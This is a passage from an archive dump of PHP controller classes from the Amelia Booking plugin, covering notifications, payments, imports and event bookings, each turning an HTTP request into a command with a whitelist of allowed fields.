AmeliaBooking\Application\Commands\Notification\SendScheduledNotificationsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class SendScheduledNotificationsController * * @package AmeliaBooking\Application\Controller\Notification */ class SendScheduledNotificationsController extends Controller { /** * Instantiates the Send Scheduled Notifications command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return SendScheduledNotificationsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new SendScheduledNotificationsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/WhatsAppWebhookRegisterController.php 0000666 00000002235 15165412624 0020661 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\WhatsAppWebhookRegisterCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class WhatsAppWebhookController * * @package AmeliaBooking\Application\Controller\Notification */ class WhatsAppWebhookRegisterController extends Controller { /** * Fields for notification that can be received from front-end * * @var bool */ protected $sendJustData = true; /** * Instantiates the Whatsapp Webhook command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return WhatsAppWebhookRegisterCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new WhatsAppWebhookRegisterCommand($args); $params = (array)$request->getQueryParams(); $command->setField('params', $params); $requestBody = $request->getQueryParams(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/UpdateNotificationController.php 0000666 00000003300 15165412624 0017671 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\Notification\UpdateNotificationCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateNotificationController * * @package AmeliaBooking\Application\Controller\Notification */ class UpdateNotificationController extends Controller { /** * Fields for notification that can be received from front-end * * @var array */ protected $allowedFields = [ 'name', 'customName', 'sendOnlyMe', 'time', 'entity', 'timeBefore', 'timeAfter', 'subject', 'content', 'translations', 'entityIds', 'status', 'type', 'whatsAppTemplate' ]; /** * Instantiates the Update Notification command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateNotificationCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateNotificationCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('notification.updated', $result); } } Controller/Notification/SendAmeliaSmsApiRequestController.php 0000666 00000002126 15165412624 0020575 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\SendAmeliaSmsApiRequestCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class SendAmeliaSmsApiRequestController * * @package AmeliaBooking\Application\Controller\Notification */ class SendAmeliaSmsApiRequestController extends Controller { /** * Fields for SMS API that can be received from front-end * * @var array */ protected $allowedFields = [ 'action', 'data', 'type' ]; /** * Instantiates the Send Amelia SMS API Request command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return SendAmeliaSmsApiRequestCommand */ protected function instantiateCommand(Request $request, $args) { $command = new SendAmeliaSmsApiRequestCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/UpdateNotificationStatusController.php 0000666 00000002140 15165412624 0021076 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\UpdateNotificationStatusCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateNotificationStatusController * * @package AmeliaBooking\Application\Controller\Notification */ class UpdateNotificationStatusController extends Controller { /** * Fields for notification that can be received from front-end * * @var array */ protected $allowedFields = [ 'status' ]; /** * Instantiates the Update Notification Status command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateNotificationStatusCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateNotificationStatusCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/WhatsAppWebhookController.php 0000666 00000002021 15165412624 0017145 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\WhatsAppWebhookCommand; use AmeliaBooking\Application\Commands\Notification\WhatsAppWebhookRegisterCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class WhatsAppWebhookController * * @package AmeliaBooking\Application\Controller\Notification */ class WhatsAppWebhookController extends Controller { protected $allowedFields = [ 'entry' ]; /** * Instantiates the Whatsapp Webhook command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return WhatsAppWebhookCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new WhatsAppWebhookCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/GetSMSNotificationsHistoryController.php 0000666 00000002070 15165412624 0021321 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\GetSMSNotificationsHistoryCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetSMSNotificationsHistoryController * * @package AmeliaBooking\Application\Controller\Notification */ class GetSMSNotificationsHistoryController extends Controller { /** * Instantiates the Get SMS Notifications History command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetSMSNotificationsHistoryCommand */ protected function instantiateCommand(Request $request, $args) { $command = new GetSMSNotificationsHistoryCommand($args); $params = (array)$request->getQueryParams(); $this->setArrayParams($params); $command->setField('params', $params); $requestBody = $request->getQueryParams(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/SendUndeliveredNotificationsController.php 0000666 00000001750 15165412624 0021721 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\SendUndeliveredNotificationsCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class SendUndeliveredNotificationsController * * @package AmeliaBooking\Application\Controller\Notification */ class SendUndeliveredNotificationsController extends Controller { /** * Instantiates the Send Undelivered Notifications command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return SendUndeliveredNotificationsCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new SendUndeliveredNotificationsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/UpdateSMSNotificationHistoryController.php 0000666 00000001670 15165412624 0021646 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\UpdateSMSNotificationHistoryCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateSMSNotificationHistoryController * * @package AmeliaBooking\Application\Controller\Notification */ class UpdateSMSNotificationHistoryController extends Controller { /** * @var array */ protected $allowedFields = [ 'status', 'price', ]; /** * @param Request $request * @param $args * * @return UpdateSMSNotificationHistoryCommand|mixed */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateSMSNotificationHistoryCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/GetNotificationsController.php 0000666 00000001610 15165412624 0017353 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\GetNotificationsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetNotificationsController * * @package AmeliaBooking\Application\Controller\Notification */ class GetNotificationsController extends Controller { /** * Instantiates the Get Notification command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetNotificationsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetNotificationsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Stash/UpdateStashController.php 0000666 00000001624 15165412624 0014770 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Stash; use AmeliaBooking\Application\Commands\Stash\UpdateStashCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class UpdateStashController * * @package AmeliaBooking\Application\Controller\Stash */ class UpdateStashController extends Controller { /** * Instantiates the Update Stash command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateStashCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateStashCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } } Controller/Import/ImportCustomersController.php 0000666 00000002021 15165412624 0016102 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Import; use AmeliaBooking\Application\Commands\Import\ImportCustomersCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class ImportCustomersController * * @package AmeliaBooking\Application\Controller\Import */ class ImportCustomersController extends Controller { public $allowedFields = [ 'data', 'number', 'overwrite' ]; /** * Instantiates the Import Customers command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return ImportCustomersCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new ImportCustomersCommand($args); $command->setField('params', (array)$request->getParams()); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Entities/GetEntitiesController.php 0000666 00000002267 15165412624 0015475 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Entities; use AmeliaBooking\Application\Commands\Entities\GetEntitiesCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetEntitiesController * * @package AmeliaBooking\Application\Controller\Entities */ class GetEntitiesController extends Controller { /** * Instantiates the Get Entities command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetEntitiesCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetEntitiesCommand($args); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); unset($params['source']); } $command->setToken($request); $this->setArrayParams($params); $command->setField('params', $params); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Payment/GetTransactionAmountController.php 0000666 00000002137 15165412624 0017207 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\Payment\GetTransactionAmountCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class GetTransactionAmountController * * @package AmeliaBooking\Application\Controller\Payment */ class GetTransactionAmountController extends Controller { /** * Instantiates the Refund Payment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetTransactionAmountCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetTransactionAmountCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Payment/GetPaymentController.php 0000666 00000001703 15165412624 0015151 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\GetPaymentCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetPaymentController * * @package AmeliaBooking\Application\Controller\Payment */ class GetPaymentController extends Controller { /** * Instantiates the Get Payment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetPaymentCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetPaymentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Payment/GetPaymentsController.php 0000666 00000002361 15165412624 0015335 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\GetPaymentsCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetPaymentsController * * @package AmeliaBooking\Application\Controller\Payment */ class GetPaymentsController extends Controller { /** * Instantiates the Get Payments command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetPaymentsCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetPaymentsCommand($args); $params = (array)$request->getQueryParams(); $this->setArrayParams($params); if (isset($params['services'])) { $params['services'] = array_map('intval', $params['services']); } $command->setField('params', $params); $requestBody = $request->getQueryParams(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Payment/UpdatePaymentController.php 0000666 00000003174 15165412624 0015660 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\UpdatePaymentCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdatePaymentController * * @package AmeliaBooking\Application\Controller\Payment */ class UpdatePaymentController extends Controller { /** * @var array */ protected $allowedFields = [ 'customerBookingId', 'packageCustomerId', 'dateTime', 'status', 'gateway', 'gatewayTitle', 'data', 'amount', 'transactionId', ]; /** * Instantiates the Update Payment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdatePaymentCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $addPaymentCommand = new UpdatePaymentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($addPaymentCommand, $requestBody); return $addPaymentCommand; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('payment.updated', $result); } } Controller/Payment/PaymentCallbackController.php 0000666 00000002712 15165412624 0016127 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\PaymentCallbackCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class PaymentCallbackController * * @package AmeliaBooking\Application\Controller\Payment */ class PaymentCallbackController extends Controller { /** * Fields for PayPal payment that can be received from API * * @var array */ protected $allowedFields = [ 'fromLink', 'paymentAmeliaId', 'paymentMethod', 'razorpay_payment_link_id', 'razorpay_payment_id', 'razorpay_payment_link_reference_id', 'razorpay_payment_link_status', 'razorpay_signature', 'id', 'chargedAmount', 'payPalStatus', 'token', 'PayerID', 'paymentId', 'fromPanel', 'session_id' ]; /** * Instantiates the Payment Callback command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return PaymentCallbackCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new PaymentCallbackCommand($args); $this->setCommandFields($command, $request->getParsedBody()); $this->setCommandFields($command, $request->getQueryParams()); return $command; } } Controller/Payment/RefundPaymentController.php 0000666 00000002516 15165412624 0015660 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\Payment\RefundPaymentCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class RefundPaymentController * * @package AmeliaBooking\Application\Controller\Payment */ class RefundPaymentController extends Controller { /** * Instantiates the Refund Payment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return RefundPaymentCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new RefundPaymentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('PaymentRefunded', $result); } } Controller/Payment/DeletePaymentController.php 0000666 00000002454 15165412624 0015640 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\DeletePaymentCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class DeletePaymentController * * @package AmeliaBooking\Application\Controller\Payment */ class DeletePaymentController extends Controller { /** * Instantiates the Delete Payment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeletePaymentCommand */ protected function instantiateCommand(Request $request, $args) { $command = new DeletePaymentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('payment.deleted', $result); } } Controller/Payment/CalculatePaymentAmountController.php 0000666 00000002744 15165412624 0017521 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\CalculatePaymentAmountCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class CalculatePaymentAmountController * * @package AmeliaBooking\Application\Controller\Payment */ class CalculatePaymentAmountController extends Controller { /** * Fields for PayPal payment that can be received from API * * @var array */ protected $allowedFields = [ 'type', 'bookings', 'bookingStart', 'notifyParticipants', 'eventId', 'serviceId', 'providerId', 'locationId', 'couponCode', 'payment', 'recurring', 'recaptcha', 'packageId', 'package', 'packageRules', 'utcOffset', 'locale', 'timeZone', 'deposit', ]; /** * Instantiates the CalculatePaymentAmountCommand Callback command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return CalculatePaymentAmountCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new CalculatePaymentAmountCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Payment/AddPaymentController.php 0000666 00000002742 15165412624 0015126 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\AddPaymentCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddPaymentController * * @package AmeliaBooking\Application\Controller\Payment */ class AddPaymentController extends Controller { /** * @var array */ protected $allowedFields = [ 'bookingId', 'dateTime', 'status', 'gateway', 'data', ]; /** * Instantiates the Add Payment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddPaymentCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddPaymentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('payment.added', $result); } } Controller/Payment/PaymentLinkController.php 0000666 00000001717 15165412624 0015334 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Payment; use AmeliaBooking\Application\Commands\Payment\PaymentCallbackCommand; use AmeliaBooking\Application\Commands\Payment\PaymentLinkCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class PaymentLinkController * * @package AmeliaBooking\Application\Controller\Payment */ class PaymentLinkController extends Controller { protected $allowedFields = [ 'data', 'paymentMethod' ]; /** * Instantiates the Payment Link command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return PaymentLinkCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new PaymentLinkCommand($args); $command->setField('data', (array)$request->getParsedBody()); return $command; } } Controller/Booking/Event/GetCalendarEventsController.php 0000666 00000002502 15165412624 0017464 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\GetCalendarEventsCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetCalendarEventsController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class GetCalendarEventsController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'providers', 'eventIds', 'periods', 'recurring' ]; /** * Instantiates the Add Event command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetCalendarEventsCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetCalendarEventsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } } Controller/Booking/Event/DeleteEventController.php 0000666 00000002571 15165412624 0016340 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\DeleteEventCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class DeleteEventController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class DeleteEventController extends Controller { /** * Fields for Event that can be received from front-end * * @var array */ public $allowedFields = [ 'applyGlobally' ]; /** * Instantiates the Delete Event command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteEventCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('EventDeleted', $result); } } Controller/Booking/Event/DeleteEventBookingController.php 0000666 00000002516 15165412624 0017650 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\DeleteEventBookingCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class DeleteEventBookingController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class DeleteEventBookingController extends Controller { /** * Instantiates the Delete Event Booking command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeleteEventBookingCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteEventBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingCanceled', $result); } } Controller/Booking/Event/UpdateEventStatusController.php 0000666 00000002674 15165412624 0017570 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\UpdateEventStatusCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateEventStatusController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class UpdateEventStatusController extends Controller { /** * Fields for Event that can be received from front-end * * @var array */ public $allowedFields = [ 'status', 'applyGlobally' ]; /** * Instantiates the Update Event command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateEventStatusCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateEventStatusCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('EventStatusUpdated', $result); } } Controller/Booking/Event/GetEventDeleteEffectController.php 0000666 00000001646 15165412624 0020117 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\GetEventDeleteEffectCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetEventDeleteEffectController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class GetEventDeleteEffectController extends Controller { /** * Instantiates the Get Event Delete Effect command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetEventDeleteEffectCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetEventDeleteEffectCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Booking/Event/GetEventController.php 0000666 00000002200 15165412624 0015642 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\GetEventCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetEventController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class GetEventController extends Controller { /** * Instantiates the Get Event command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetEventCommand($args); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); unset($params['source']); } $command->setField('params', $params); $command->setToken($request); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Booking/Event/AddEventController.php 0000666 00000004557 15165412624 0015634 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\AddEventCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class AddEventController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class AddEventController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'name', 'periods', 'bookingOpens', 'bookingCloses', 'bookingOpensRec', 'bookingClosesRec', 'recurring', 'bringingAnyone', 'bookMultipleTimes', 'maxCapacity', 'maxCustomCapacity', 'maxExtraPeople', 'price', 'providers', 'tags', 'description', 'gallery', 'color', 'show', 'locationId', 'settings', 'customLocation', 'zoomUserId', 'organizerId', 'translations', 'deposit', 'depositPayment', 'depositPerPerson', 'timeZone', 'utc', 'customTickets', 'fullPayment', 'customPricing', 'closeAfterMin', 'closeAfterMinBookings', 'aggregatedPrice' ]; /** * Instantiates the Add Event command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddEventCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddEventCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('EventAdded', $result); } } Controller/Booking/Event/UpdateEventBookingController.php 0000666 00000003025 15165412624 0017664 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\UpdateEventBookingCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class UpdateEventBookingController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class UpdateEventBookingController extends Controller { /** * Fields for Booking that can be received from front-end * * @var array */ public $allowedFields = [ 'type', 'bookings', 'createPaymentLinks' ]; /** * Instantiates the Update Booking command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateEventBookingCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateEventBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingEdited', $result); } } Controller/Booking/Event/UpdateEventController.php 0000666 00000004725 15165412624 0016363 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\UpdateEventCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class UpdateEventController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class UpdateEventController extends Controller { /** * Fields for event that can be received from front-end * * @var array */ public $allowedFields = [ 'id', 'parentId', 'name', 'periods', 'bookingOpens', 'bookingCloses', 'bookingOpensRec', 'bookingClosesRec', 'recurring', 'bringingAnyone', 'bookMultipleTimes', 'maxCapacity', 'maxCustomCapacity', 'maxExtraPeople', 'price', 'providers', 'tags', 'description', 'gallery', 'color', 'show', 'locationId', 'customLocation', 'settings', 'applyGlobally', 'zoomUserId', 'organizerId', 'translations', 'deposit', 'depositPayment', 'depositPerPerson', 'timeZone', 'utc', 'customTickets', 'fullPayment', 'customPricing', 'closeAfterMin', 'closeAfterMinBookings', 'notifyParticipants', 'aggregatedPrice' ]; /** * Instantiates the Update Event command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateEventCommand * @throws 